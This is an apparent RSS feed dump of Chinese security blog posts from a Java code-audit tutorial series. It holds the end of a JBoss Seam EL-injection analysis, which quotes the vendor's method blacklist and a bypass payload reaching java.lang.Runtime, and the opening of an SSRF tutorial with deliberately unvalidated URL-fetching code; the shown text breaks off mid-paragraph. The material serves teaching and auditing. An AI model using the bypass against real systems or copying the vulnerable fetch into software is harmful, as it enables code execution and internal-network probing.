src="https://wechat2rss.xlab.app/img-proxy/?k=16a6a921&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1srZn0cbNBbR3cktChEk7rxssWGOyaAdBFic1eJaOvvrQtTWtQdnFNPQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_13" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、修复方案</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">针对于本漏洞，官方修了两次</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://securitytracker.com/id?1024253" target="_blank">https://securitytracker.com/id?1024253</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://securitytracker.com/id/1028601" target="_blank">https://securitytracker.com/id/1028601</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">第一次是对<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">actionOutcome</code>中检查是否包含<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">#{</code>等字符做了检查，这样完全使得 EL 表达式不能通过 http 传参的方式传入解析。第二次是对另一个参数<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">actionId</code>的修复，这里简单说下这个漏洞。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">Seam 2.2.2.Final以后， JBoss创建了一个黑名单，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/src/main/org/jboss/seam/blacklist.properties</code>，针对以下内容进行了过滤：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">.getClass</span>()<br/><span style="box-sizing: border-box;">.addRole</span>(<br/><span style="box-sizing: border-box;">.getPassword</span>(<br/><span style="box-sizing: border-box;">.removeRole</span>(</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">但是依旧被绕过了，可以使用类似数组的运算符来处理黑名单模式（此处方法来自于 orange大神的思路：点此访问，本人未经过验证，有兴趣可以试一试）：<br style="box-sizing: border-box;"/>把</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;java.lang.Runtime&#34;</span>)</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">改成</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>[<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;class&#34;</span>].forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;java.lang.Runtime&#34;</span>)</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">因为JBoss Seam 只能在 JBoss EAP 7 下使用，而JBoss EAP 也在2016/11月停止维护，所以现在 JBoss Seam 受到的风险很高（因为忽略了一些安全人员提交的漏洞以及依旧在使用不是最新版本的第三方函数库）</p><p><span name="menu_index_14" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x05 总结</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">代码审计重要的是实际去做，去尝试，所以在动手研究、分析和复现后，收获是巨大的，本文的所有安装包及相关程序以及上传至项目文件，有兴趣的朋友可以自己下载去复现。</p><p><span name="menu_index_15" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x06 参考</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://cloud.tencent.com/developer/article/1547286" target="_blank">https://cloud.tencent.com/developer/article/1547286</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/jayus/p/11435116.html" target="_blank">https://www.cnblogs.com/jayus/p/11435116.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html" target="_blank">http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://docs.huihoo.com/jboss/seam/2.0.0.GA/reference/zh-cn/elenhancements.html" target="_blank">https://docs.huihoo.com/jboss/seam/2.0.0.GA/reference/zh-cn/elenhancements.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.anquanke.com/post/id/156078" target="_blank">https://www.anquanke.com/post/id/156078</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://blog.orange.tw/2016/12/java-web.html" target="_blank">https://blog.orange.tw/2016/12/java-web.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html" target="_blank">http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html</a></p><p><br/></p>



<p><a href="https://www.cnpanda.net/codeaudit/759.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=62c2ea89&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483798%26idx%3D1%26sn%3D4b726034a0f7438cdf484fe99a0e60e1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 09 May 2021 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483797&amp;idx=1&amp;sn=48239d8ecfac42bb777602a95ddc1dfe</link>
      <description>【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-05-08 00:00</span> <span style="display: inline-block;"></span>
</p>

<p>【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1534f931&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB18Gfr1smBwBSl2v4kuWkcyd7iblLFf0dfJMyyaBQ2zAVXyM8Z3D5nblA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x00 写在前面</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java 代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本系列的文章面向人群主要是<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">拥有 Java 基本语法基础的朋友</strong>，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。</p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x01 前戏</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下载 SSRF 测试源码：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/cn-panda/JavaCodeAudit" target="_blank">https://github.com/cn-panda/JavaCodeAudit</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">导入项目，可以得到以下目录：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.3190661478599222" data-s="300,640" style="" data-type="png" data-w="514" src="https://wechat2rss.xlab.app/img-proxy/?k=2e69ef60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1jFkTvY7pz8CmQibYrDQPC8kBCgV2RIpXc8uKctialOdEQgMIOS2EtW5w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">项目是一个简单模拟HTTP请求的实现。</p><p><span name="menu_index_4" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x02 漏洞原理</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">服务端请求伪造（Server-Side Request Forge）简称 SSRF，是OWASP TOP之一，它是由攻击者构造的payload传给服务端，服务端执行后造成了漏洞，一般用于在外网探测或攻击内网服务。Java网络请求支持的协议很多，包括：http，https，file，ftp，mailto，jar，netdoc。如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5651515151515152" data-s="300,640" style="" data-type="png" data-w="1320" src="https://wechat2rss.xlab.app/img-proxy/?k=6dcb4804&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1os5SYceHSnyATxc320yKLu7EkVAKZPrJHibzllP9MooGlSryvnRtZIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">但是和 PHP 相比，java 中的SSRF的利用是有局限性的，实际场景中，一般利用http/https协议来探测端口、暴力穷举等，还可以利用file协议读取/下载任意文件等。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本文针对端口探测和任意文件下载/读取进行了实例说明。</p><p><span name="menu_index_5" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、端口探测</h3><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">            String url = request.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;url&#34;</span>);<br/>            String htmlContent;<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>                URL u = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> URL(url);<br/>                URLConnection urlConnection = u.openConnection();<br/>                HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;<br/>                BufferedReader base = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> BufferedReader(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> InputStreamReader(httpUrl.getInputStream(), <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;UTF-8&#34;</span>));<br/>                StringBuffer html = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> StringBuffer();<br/>                <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span> ((htmlContent = base.readLine()) != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>                    html.append(htmlContent);<br/>                }<br/>                base.close();<br/>                print.println(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;b&gt;端口探测&lt;/b&gt;&lt;/br&gt;&#34;</span>);<br/>                print.println(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;b&gt;url:&#34;</span> + url + <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;/b&gt;&lt;/br&gt;&#34;</span>);<br/>                print.println(html.toString());<br/>                print.flush();<br/>            } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">catch</span> (Exception e) {<br/>                e.printStackTrace();<br/>                print.println(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;ERROR!&#34;</span>);<br/>                print.flush();<br/>            }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">以上代码大致意义如下：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>URL对象用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">openconnection()</code>打开连接，获得URLConnection类对象。</p></li><li style="box-sizing: border-box;"><p>用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">InputStream()</code>获取字节流</p></li><li style="box-sizing: border-box;"><p>然后<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">InputStreamReader()</code>将字节流转化成字符流</p></li><li style="box-sizing: border-box;"><p><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">BufferedReader()</code>将字符流以缓存形式输出的方式来快速获取网络数据流</p></li><li style="box-sizing: border-box;"><p>最终一行一行的输入到 html 变量中，输出到浏览器</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">代码的主要功能即是模拟一个 http 请求，如果没有对请求地址进行限制和过滤，即可以利用来进行 SSRF 攻击。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本机环境如下：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft 